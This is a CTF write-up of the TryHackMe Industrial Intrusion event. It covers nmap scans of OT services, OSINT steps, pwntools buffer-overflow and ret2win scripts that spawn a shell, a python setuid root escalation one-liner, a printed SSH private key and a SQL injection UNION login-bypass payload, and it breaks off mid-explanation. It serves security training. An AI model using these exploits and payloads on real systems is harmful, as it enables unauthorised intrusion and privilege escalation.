Skip to content
Synthyze
Go back

Industrial Intrusion CTF: OT CTF Challenge on TryHackMe

Three months after the infamous malware attack on the Virelia Water Control Facility, the plant resumed operations under “full remediation.” But something is off. Operators report flickering sensors, inconsistent valve pressures, and automated alerts that can’t be traced to any active process. A deeper dive reveals a chilling truth — the attacker left behind a **persistence mechanism: **A covert second-stage implant that re-established control through overlooked OT backdoors and a compromised web portal.

You are a hired red team specialist working for the Black Echo company. Your mission: Infiltrate the infected systems before the attacker activates their kill-switch. The catch? The adversary is still there. Watching. Reacting. Fighting back

Tasked with neutralising a lingering threat at the compromised Virelia Water Control Facility, we were dropped into a tense red team operation against an active adversary still embedded within the system. With the clock ticking and signs of sabotage lurking in every subsystem, we traced the attacker’s digital footprints through manipulated OT infrastructure and a backdoored web portal. This writeup captures our approach, tools, findings, and the cat-and-mouse game that followed.

Breach

This engagement aims to find a way to open the gate by bypassing the badge authentication system.The control infrastructure may hold a weakness: Dig in, explore, and see if you have what it takes to exploit it.Be sure to check all the open ports, you never know which one might be your way in!

# Nmap 7.95 scan initiated Thu Jun 26 09:07:14 2025 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,102,502,1880,8080,44818 -4 -sV -sC -oA scan 10.10.178.102
Nmap scan report for 10.10.178.102
Host is up, received echo-reply ttl 60 (0.24s latency).
Scanned at 2025-06-26 09:07:21 EDT for 181s

PORT      STATE SERVICE       REASON         VERSION
22/tcp    open  ssh           syn-ack ttl 60 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 32:47:65:7a:22:02:60:fd:5f:ee:bc:35:a8:6f:e6:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISy/ajbqsNJYPfw3xGZ5vzCnLIkcHVkKocZZYcUP2E32ssfQ5fic8tMy3kwT9rCG22xY9Pr1xnlwdCBnQJX3gY=
|   256 89:6d:74:1c:59:e6:63:9d:dd:66:cb:f2:fa:6a:e2:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILY+LH5tJRHg5J5EuH1QHshu9Sebq4VU3rMfqpO6ksyC
80/tcp    open  http          syn-ack ttl 60 Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET
|_http-title: Gate Monitor
102/tcp   open  iso-tsap      syn-ack ttl 60 Siemens S7 PLC
| fingerprint-strings:
|   TerminalServerCookie:
|_    Cookie: mstshash=nmap
| s7-info:
|   Module: 6ES7 315-2EH14-0AB0
|   Basic Hardware: 6ES7 315-2EH14-0AB0
|   Version: 3.2.6
|   System Name: SNAP7-SERVER
|   Module Type: CPU 315-2 PN/DP
|   Serial Number: S C-C2UR28922012
|_  Copyright: Original Siemens Equipment
502/tcp   open  modbus        syn-ack ttl 60 Modbus TCP
1880/tcp  open  vsat-control? syn-ack ttl 60
| fingerprint-strings:
|   DNSVersionBindReqTCP, RPCCheck:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 1733
|     ETag: W/"6c5-hGVEFL4qpfS9qVbAlfbm9AL7VT0"
|     Date: Thu, 26 Jun 2025 13:07:32 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
|     <meta name="apple-mobile-web-app-capable" content="yes">
|     <meta name="mobile-web-app-capable" content="yes">
|     <!--
|     Copyright OpenJS Foundation and other contributors, https://openjsf.org/
|     Licensed under the Apache License, Version 2.0 (the "License");
|     this file except in compliance with the License.
|     obtain a copy of the License at
|     http://www.apache.org/licenses/LICENSE-2.0
|     Unless required by applicable law or agreed to in writing, softwa
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 204 No Content
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET,PUT,POST,DELETE
|     Vary: Access-Control-Request-Headers
|     Content-Length: 0
|     Date: Thu, 26 Jun 2025 13:07:33 GMT
|_    Connection: close
8080/tcp  open  http          syn-ack ttl 60 Werkzeug httpd 2.3.7 (Python 3.12.3)
|_http-server-header: Werkzeug/2.3.7 Python/3.12.3
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
44818/tcp open  EtherNetIP-2? syn-ack ttl 60
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1880-TCP:V=7.95%I=7%D=6/26%Time=685D4615%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,799,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:\x2
SF:0\*\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x201733\r\nETag:\x20W/\"6c5-hGVEFL4qpfS9qVbAlfbm9AL7VT0\"\r\nDate:\x20T
SF:hu,\x2026\x20Jun\x202025\x2013:07:32\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n<meta\x20charset=\"utf-8\">\n<m
SF:eta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\">\n<meta\x2
SF:0name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1,
SF:\x20maximum-scale=1,\x20user-scalable=0\">\n<meta\x20name=\"apple-mobil
SF:e-web-app-capable\"\x20content=\"yes\">\n<meta\x20name=\"mobile-web-app
SF:-capable\"\x20content=\"yes\">\n<!--\n\x20\x20Copyright\x20OpenJS\x20Fo
SF:undation\x20and\x20other\x20contributors,\x20https://openjsf\.org/\n\n\
SF:x20\x20Licensed\x20under\x20the\x20Apache\x20License,\x20Version\x202\.
SF:0\x20\(the\x20\"License\"\);\n\x20\x20you\x20may\x20not\x20use\x20this\
SF:x20file\x20except\x20in\x20compliance\x20with\x20the\x20License\.\n\x20
SF:\x20You\x20may\x20obtain\x20a\x20copy\x20of\x20the\x20License\x20at\n\n
SF:\x20\x20http://www\.apache\.org/licenses/LICENSE-2\.0\n\n\x20\x20Unless
SF:\x20required\x20by\x20applicable\x20law\x20or\x20agreed\x20to\x20in\x20
SF:writing,\x20softwa")%r(HTTPOptions,DF,"HTTP/1\.1\x20204\x20No\x20Conten
SF:t\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods
SF::\x20GET,PUT,POST,DELETE\r\nVary:\x20Access-Control-Request-Headers\r\n
SF:Content-Length:\x200\r\nDate:\x20Thu,\x2026\x20Jun\x202025\x2013:07:33\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,DF,"HTTP/1\.1\x2
SF:0204\x20No\x20Content\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-C
SF:ontrol-Allow-Methods:\x20GET,PUT,POST,DELETE\r\nVary:\x20Access-Control
SF:-Request-Headers\r\nContent-Length:\x200\r\nDate:\x20Thu,\x2026\x20Jun\
SF:x202025\x2013:07:33\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RPCCheck
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:nection:\x20close\r\n\r\n");
Service Info: OS: Linux; Device: specialized; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 26 09:10:22 2025 -- 1 IP address (1 host up) scanned in 188.82 seconds

nmap Scan Webpage Port 80 Using dirb or feroxbuster on port 1880, the path to /ui/ will be found and accessed. ui at port 1880 Turn off the Badge Gate and the flag is shown. THM{s4v3_th3_d4t3_27_jun3}

Flag

OSINT 1

Hexline, we need your help investigating the phishing attack from 3 months ago. We believe the threat actor managed to hijack our domain virelia-water.it.com and used it to host some of their infrastructure at the time. Use your OSINT skills to find information about the infrastructure they used during their campaign.

https://crt.sh/?q=virelia-water.it.com THM{Su5sss}

Flag

Start (PWN)

A stray input at the operator console is all it needs. Buffers break, execution slips, and control pivots in the blink of an eye.

Disassembling the binary, ida gave this pseudocode:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[44]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+2Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v5 = 0;
  printf("Enter your username: ");
  gets(v4);
  if ( v5 )
  {
    puts("Welcome, admin!");
    print_flag();
    return 0;
  }
  else
  {
    puts("Access denied.");
    return 1;
  }
}

v4 has a buffer size of 44 bytes and used for input via unsafe function gets.

Sending a payload of random 44 bytes of As followed by setting the lsb of v5 to anything but 0, the flow to print_flag() will be taken

from pwn import *

# Set context
context.binary = ELF('./start')
context.log_level = 'info'

# Remote connection
io = remote('IP', PORT)

# Wait for prompt
io.recvuntil(b'Enter your username:')

# Construct payload
payload = b'A' * 44 + p32(1)  # 44 bytes to reach v5, overwrite with 1

# Send the payload
io.sendline(payload)

# Receive and print the rest of the output
print(io.recvall().decode())

# Close the connection
io.close()

Full Pwntools Script THM{nice_place_t0_st4rt}

Flag

Access Granted (Reversing)

ZeroTrace intercepts a suspicious HMI login module on the plant floor. Reverse the binary logic to reveal the access key and slip past digital defences.

Disassembling the binary in ida, the entrypoint looks like this: The ideal execution flow leads to a call to the print_flag function. From the previous block, we can identify the string "industrial" being used in a strncmp check. Therefore, providing industrial when prompted for the password will result in the flag being revealed. from pwn import *

context.log_level = 'info'

# Target IP and port
host = 'IP'
port = PORT

# Connect to the remote service
io = remote(host, port)

# Wait for the password prompt
io.recvuntil(b'Enter the password :')

# Send the correct password
io.sendline(b'industrial')

# Receive the rest of the output and print it
output = io.recvall()
print(output.decode())

# Close the connection
io.close()

Full Pwntools Script

THM{s0meth1ng_inthe_str1ng_she_knows}

Flag

Auth (Reversing)

ZeroTrace intercepts a stripped-down authentication module running on a remote industrial gateway. Assembly scrolls across glowing monitors as she unpacks the logic behind the plant’s digital checkpoint.

Taking a look at the disassembled version of the given binary, a suspicious hex number (0xEFCDAB8967452301) could be seen loaded into rax register. Following that, the code takes in a code, calls the transform function before performing a memcmp and finally prints the flag.

The transform function performs an xor operation with 0x55 for each byte of input

unsigned __int64 __fastcall transform(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(a1 + i) ^= 0x55u;
  }
  return result;
}

transform Function

With this in mind, a simple script can be derived to reverse the xor operation given the suspicious hex number 0xEFCDAB8967452301.

from pwn import *

# Target server details
HOST = '10.10.144.4'
PORT = 9005

# Hardcoded transformed value
transformed = 0xEFCDAB8967452301

# Reverse the transform (XOR with 0x55)
payload = bytes(b ^ 0x55 for b in transformed.to_bytes(8, 'little'))

# Display the payload being sent
print("[*] Sending:", payload.hex())

# Connect and send immediately
io = remote(HOST, PORT)
io.sendline(payload)

# Print full server response
print(io.recvall().decode(errors='ignore'))

# Close connection
io.close()

The decoded payload looks like 54761032dcfe98ba which was the code that the binary was looking for. THM{Simple_tostart_nice_done_mwww}

Flag

Chess Industry (boot2root)

NullRook prowls a smart chessboard hub where automation meets strategy. In the digital workshop, subtle flaws in the robot interface threaten to tip the balance of play.

# Nmap 7.95 scan initiated Fri Jun 27 23:29:43 2025 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,79 -4 -sV -sC -oA scan 10.10.116.253
Nmap scan report for 10.10.116.253
Host is up, received echo-reply ttl 60 (0.29s latency).
Scanned at 2025-06-27 23:29:50 EDT for 16s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 93:2a:e7:75:cb:bf:9b:db:65:e8:92:85:02:e4:24:9c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ1RxQ7eeG90K+JH4oqFNsuzmGAWAHlS0itsS0o3A4JD+YkjMw356qgI6jLTUOq945TvmGDQs9+XFxh1uGkYxv4=
|   256 59:96:41:91:31:e5:88:a4:7a:e8:93:6a:de:72:1a:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0LxyzSqnUJBB1wHchjDRpHMPwmW4ecN53Ai30kIqqE
79/tcp open  finger  syn-ack ttl 60 Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: PrecisionChess IoT - Smart Chessboard Control
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 27 23:30:06 2025 -- 1 IP address (1 host up) scanned in 23.00 seconds

Ports 22, 79, 80 are open Free usernames? magnus fabianao Hikaru

user.txt

Initial Access

79 - Pentesting Finger - HackTricks https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-finger.html ./finger-user-enum.pl -U user.txt -t $IP

fabiano:o3jVTktarGQI07q

Creds!

fabiano’s account can be accessed via ssh.

Privilege Escalation

python | GTFOBins /usr/bin/python3.10 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

THM{bishop_to_c4_check}

/home/fabiano/user.txt

THM{check_check_check_mate}

/root/root.txt

Simple Protocol (Reversing)

Amid whirring routers and blinking panel lights, ZeroTrace dissects a custom network protocol linking industrial subsystems. Patterns in the packet flow hint at secrets embedded deep within machine chatter.

Disassemble the main function, identify the packet structure:

data_len = recv(v8, buf, 0xCuLL, 256);        // Header
  if ( data_len != 12 )
  {
    fwrite("Failed to receive header.\n", 1uLL, 0x1AuLL, stderr);
    exit(1);
  }
  v4 = ntohs(buf[0]);
  v5 = ntohs(buf[1]);
  v9 = ntohl(netlong);
  payload_id = ntohl(v18);
  checksum = ((unsigned __int16)(v4 ^ v5) << 16) | (unsigned __int16)payload_id;
  if ( v9 != checksum )
  {
    fwrite("Checksum validation failed.\n", 1uLL, 0x1CuLL, stderr);
    exit(1);
  }
  data_len = recv(v8, buf_1, 8uLL, 256);        // Body
  if ( data_len != 8 )
  {
    fwrite("Failed to receive body metadata.\n", 1uLL, 0x21uLL, stderr);
    exit(1);
  }
  v12 = ntohl(buf_1[0]);
  v13 = ntohl(buf_1[1]);
  if ( v12 != payload_id )
  {
    fwrite("Body payload_id does not match header.\n", 1uLL, 0x27uLL, stderr);
    exit(1);
  }
  if ( v13 > 64 )
  {
    fwrite("Payload size too large.\n", 1uLL, 0x18uLL, stderr);
    exit(1);
  }
  if ( v5 == 256 )
  {
    print_flag((unsigned int)v8);
  }

The packet consists of a Header (12 bytes) followed by a Body (8 bytes). SectionFieldSize (Bytes)DescriptionHeaderv4216-bit field used in checksum computationv52Must be 0x0100 to trigger print_flagChecksum4Computed as ((v4 ^ v5) << 16)payload_id4Arbitrary 4-byte value (must match the one in body)Bodypayload_id4Must be equal to the payload_id in the headersize4Must be <= 0x40

Notes:

from pwn import *

# Setup
host = '10.10.147.167'
port = 4444

# Values
v4 = 0x1337
v5 = 0x0100  # 256 = command to trigger print_flag
payload_id = 0x1234
checksum = ((v4 ^ v5) << 16) | payload_id

# Header (12 bytes)
header = p16(v4, endian='big') + p16(v5, endian='big') + p32(checksum, endian='big') + p32(payload_id, endian='big')

# Body metadata (8 bytes)
body = p32(payload_id, endian='big') + p32(0x10, endian='big')  # size <= 0x40

# Full packet
payload = header + body

# Send the packet
conn = remote(host, port)
conn.send(payload)

# Receive and print output
print(conn.recvall().decode(errors='ignore'))
conn.close()

THM{what-a-prot0c0l}

Flag

OSINT 2

“Great work on uncovering that suspicious subdomain, Hexline. However, your work here isn’t done yet, we believe there is more.”

Scan not found - Pentest-Tools.com https://pentest-tools.com/information-gathering/find-subdomains-of-domain/scans/chuIaawTMSVhc8Rg?view_report=true![](/images/2025/06/image-15.png) uplink-fallback.virelia-water.it.com

eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=

TXT Record

echo "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=" | base64 -d
{"session":"T-CN1-172","flag":"THM{uplink_channel_confirmed}"}

B64 Decode

THM{uplink_channel_confirmed}

Flag

OSINT 3

After the initial breach, a single OT-Alert appeared in Virelia’s monthly digest—an otherwise unremarkable maintenance notice, mysteriously signed with PGP. Corporate auditors quietly removed the report days later, fearing it might be malicious. Your mission is to uncover more information about this mysterious signed PGP maintenance message.

Digging for some subdomains, the actual GitHub repo was found (GitHub pages CNAME points to /github.io) https://digger.tools/lookup/virelia-water.github.io Heading over to the profile, only 1 repository was listed https://github.com/virelia-water To continue the hunt for the flag, historical commits were audited. https://github.com/virelia-water/compliance Found this commit: compliance/mail-archives/ot-alerts/2025-06.html at 6d355c02e0e08525712fbd720695acd0450a067a · virelia-water/compliance https://github.com/virelia-water/compliance/blob/6d355c02e0e08525712fbd720695acd0450a067a/mail-archives/ot-alerts/2025-06.html The html page had a pgp signed signature embedded.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----

iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----

PGP signature

Split it into message.sig:

-----BEGIN PGP SIGNATURE-----

iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----

message.sig

Searching for GPG keys in the signature: THM{h0pe_th1s_k3y_doesnt_le4d_t0_m3}

Flag

Rogue Poller (Networking)

An intruder has breached the internal OT network and systematically probed industrial devices for sensitive data. Network captures reveal unusual traffic from a suspicious host scanning PLC memory over TCP port 502.

Analyse the provided PCAP and uncover what data the attacker retrieved during their register scans.

Initially, running

tshark -r rogue-poller-1750969333044.pcapng -Y "modbus" -w modbus_only.pcap

and opening the file in wireshark, data field is all empty.

Hence, the raw tcp payload was extracted and ran through strings:

tshark -r rogue-poller-1750969333044.pcapng -Y "modbus" -T fields -e tcp.payload > tcp_payload_hex.txt

xxd -r -p tcp_payload_hex.txt | less THM{1nDu5tr14L_r3g1st3rs}

Industrial (PWN)

The rhythmic hum of machinery masks hidden flaws. ZeroTrace moves through the production floor, searching for a way into the plant’s forgotten subsystems.

Disassembling the binary, there are 2 interesting functions:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  printf("Enter the next command : ");
  read(0, buf, 48uLL);
  puts("Thanks");
  return 0;
}

main function

int win()
{
  return system("/bin/sh");
}

win Function

This looks to be a typical buffer overflow exploit. The payload in this case will look like

Performing a checksec:

checksec industrial
[*] '../industrial'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled                                                       PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

No PIE! GDB was then used to find the address of win:

(gdb) disas win
Dump of assembler code for function win:
   0x00000000004011b6 <+0>:     endbr64
   0x00000000004011ba <+4>:     push   %rbp
   0x00000000004011bb <+5>:     mov    %rsp,%rbp
   0x00000000004011be <+8>:     lea    0xe3f(%rip),%rax        # 0x402004
   0x00000000004011c5 <+15>:    mov    %rax,%rdi
   0x00000000004011c8 <+18>:    call   0x401090 <system@plt>
   0x00000000004011cd <+23>:    nop
   0x00000000004011ce <+24>:    pop    %rbp
   0x00000000004011cf <+25>:    ret
End of assembler dump.

In the pwn script, address 0x4011be will be used instead of 0x4011b6

from pwn import *

# Binary context
context.binary = './industrial'
context.terminal = ['tmux', 'splitw', '-h']

# Build payload
payload = b'A' * 40              # 32 bytes buffer + 8 bytes saved RBP
payload += p64(0x4011be)         # Skipping function prologue, jumping directly to system("/bin/sh")

# --- LOCAL ---
# p = process('./industrial')

# --- REMOTE ---
p = remote('IP', PORT)

# Interact with challenge
p.sendlineafter("Enter the next command :", payload)
p.interactive()

THM{just_a_sm4ll_warmup}

Flag

No Salt, No Shame (Crypto)

To “secure” the maintenance logs, Virelia’s gateway vendor encrypted every critical entry with AES-CBC—using the plant’s code name as the passphrase and a fixed, all-zero IV. Of course, without any salt or integrity checks, it’s only obscurity, not true security. Somewhere in those encrypted records lies the actual shutdown command.

Passphrase:VIRELIA-WATER-FAC

Download the encrypted log file attached to this task and get the flag!

from Crypto.Cipher import AES
from hashlib import sha256

# Use SHA-256 hashed passphrase
key = sha256(b"VIRELIA-WATER-FAC").digest()  # 32 bytes for AES-256

# 16-byte all-zero IV
iv = b'\x00' * 16

# Read encrypted file
with open("shutdown.log-1750934543756.enc", "rb") as f:
    ciphertext = f.read()

# Create cipher and decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

# Try to remove PKCS#7 padding
pad_len = plaintext[-1]
if all(p == pad_len for p in plaintext[-pad_len:]):
    plaintext = plaintext[:-pad_len]

# Output for analysis
print(plaintext.decode(errors='ignore'))

THM{cbc_cl3ar4nce_gr4nt3d_10939

Flag

Under Construction (PWN)

ZeroTrace wastes no time: one misstep in the plant’s login routine, and she’s in. Credentials, shells, root, factory systems fall in quick succession.

-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----

ssh private key!

We need to enumerate users! LFI!After trying ubuntu, dev was able to login with the ssh keyGTFOBINS![

vi | GTFOBins

GTFOBins

https://gtfobins.github.io/gtfobins/vi/#sudo![](/images/2025/06/image-31.png)No idea why copy-paste gives such margins but root! THM{nic3_j0b_You_got_it_w00tw00t}

user.txt

THM{y0u_g0t_it_welldoneeeee}

root.txt

Uninterruptible Power Supply (Web)

Virelia simply loves buying devices from Mechacore. Their most recent acquisition is a UPS unit. Mechacore promised the login page was 100% secure. Let’s see if it can keep us out.

Heading over to the URL, a login page was discovered and tested.

SQLi Discovered in Username Field SQLmap Discovered creds SQLMap was used to perform automated testing, however these creds were not crackable ☹️

We could, however, perform a Union SQLi instead with this payload:

username=hehe'+UNION+SELECT+1,+'admin',+'0ebe2eca800cf7bd9d9d9f9f4aafbc0c77ae155f43bbbeca69cb256a24c7f9bb'--+-&password=hehe

Since password is SHA256 hashed, the third field (after 'admin') needs to be the hashed password (in this case hehe).

Essentially, the query backend will look like:

